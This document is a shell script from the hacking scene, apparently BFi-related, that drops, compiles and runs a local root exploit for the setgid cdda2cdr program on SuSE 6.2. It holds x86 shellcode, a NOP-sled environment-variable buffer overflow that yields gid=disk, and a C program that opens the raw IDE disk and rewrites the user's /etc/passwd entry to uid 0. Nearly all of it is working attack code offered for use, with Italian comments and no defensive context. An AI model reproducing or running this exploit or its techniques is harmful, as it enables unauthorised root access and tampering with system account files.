#!/bin/sh
#
# /usr/bin/cdda2cdr Xploit on SuSE 6.2
# by FuSyS [S0ftPj|BFi]
#
# It gets gid=disk and uses it to raw modify the filesystem and changing
# uid in /etc/passwd to 0. It prolly needs some modifications to work
# on every system (current code accesses primary IDE interface only)

USERNAME=`whoami`

echo "Sto Copiando e Compilando l'Exploit ....."

/bin/cat > cdda2cdr-xpl.c << EOF

 #include <stdlib.h>

 #define DEFAULT_OFFSET 	0
 #define DEFAULT_BUFFER_SIZE 	500
 #define DEFAULT_EGG_SIZE 	2048
 #define NOP 			0x90
 #define SUID			"/usr/bin/cdda2cdr"

 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff./sgid";

 unsigned long get_esp(void) {
 	__asm__("movl %esp,%eax");
 }

 int main(int argc, char *argv[]) {
 
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;
   char comando[512];

   printf("\ncdda2cdr Xploit V.03alpha (CDR v0.4) by FuSyS [S0ftPj|BFi]\n");

   if (!(buff = malloc(bsize))) {
 	printf("Can't allocate memory.\n");
 	exit(0);
   }
   if (!(egg = malloc(eggsize))) {
 	printf("Can't allocate memory.\n");
 	exit(0);
   }

   addr = get_esp() - offset;
   printf("Using address: 0x%x\n", addr);

   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
   *(addr_ptr++) = addr;

   ptr = egg;
   for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
 	*(ptr++) = NOP;

   for (i = 0; i < strlen(shellcode); i++)
 	*(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';

   memcpy(egg,"EGG=",4);
   putenv(egg);
   snprintf(comando,511,"%s -D %s", SUID, buff);
   system(comando);
	exit(0);
}

EOF

# se non volete usare sgid.c allora usate lo shellcode presentato in questo
# articolo.

/bin/cat > sgid.c << EOF

int main () {
	setregid(getegid(), getegid());
	system("./raw");
	exit(0);
}

EOF

/bin/cat > rawdev.c << EOF

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <pwd.h>
#include <string.h>

#define PASSWD		"/etc/passwd"
#define MAXBUFF		8*1024

/*
 * Questo codice accede solo ai dischi dell'interfaccia primaria IDE.
 * Perche' ? Semplice. Fate qualcosa anche voi =;P
 */

int main () {

	struct passwd *r00t;
	struct stat statbuf;
	int major, minor;
	char disk[10];
	char buffer[MAXBUFF], target[100];
	FILE *fin;

        r00t = getpwnam(getlogin());
	stat(PASSWD, &statbuf);
	major = statbuf.st_dev>>8;
	minor = statbuf.st_dev&0xff;
	
	snprintf(target, 100, "%s:%s:%i:%i:%s:%s:%s", r00t->pw_name,
		r00t->pw_passwd, r00t->pw_uid, r00t->pw_gid, r00t->pw_gecos,
		r00t->pw_dir, r00t->pw_shell);

	if(major==3) {
	   snprintf(disk,10, "%s%i", 
	     ((minor<64)?"/dev/hda":"/dev/hdb"),((minor<64)?minor:(minor-64)));
	}

	printf("\nModifico %s passando direttamente da %s\n", PASSWD, disk);
	usleep(500);

	if((fin=fopen(disk, "rb+"))==NULL) {
		printf("Impossibile aprire %s\n", disk);
		exit(1);
	}

	while((fgets(buffer, MAXBUFF, fin))!=NULL) {
		if(strstr(buffer, target)) {
			fseek(fin, -1*strlen(buffer), SEEK_CUR);
			snprintf(target, 100, "%s:%s:0:%i:%s%s:%s:%s", 
				r00t->pw_name, r00t->pw_passwd, 
				r00t->pw_gid, r00t->pw_gecos, 
				(r00t->pw_uid<100)?"x":"xx",
				r00t->pw_dir, r00t->pw_shell);
			strncpy(buffer, target, strlen(target));
			fputs(buffer, fin);
			printf("Ora %s ha UID uguale a 0 !\n\n", r00t->pw_name);
			break;
		}
	}
	fclose(fin);
	exit(0);
}

EOF

# se usate il mio shellcode allora cancellate anche la compilazione di sgid
# oltre al sorgente su riportato

/usr/bin/gcc -o cddxpl cdda2cdr-xpl.c
/usr/bin/gcc -o sgid sgid.c
/usr/bin/gcc -o raw rawdev.c

./cddxpl

# decidete voi se eseguire subito un su - utente o aspettare il sync del file
# /etc/passwd

#/bin/su - $USERNAME
#                    www.hack.co.za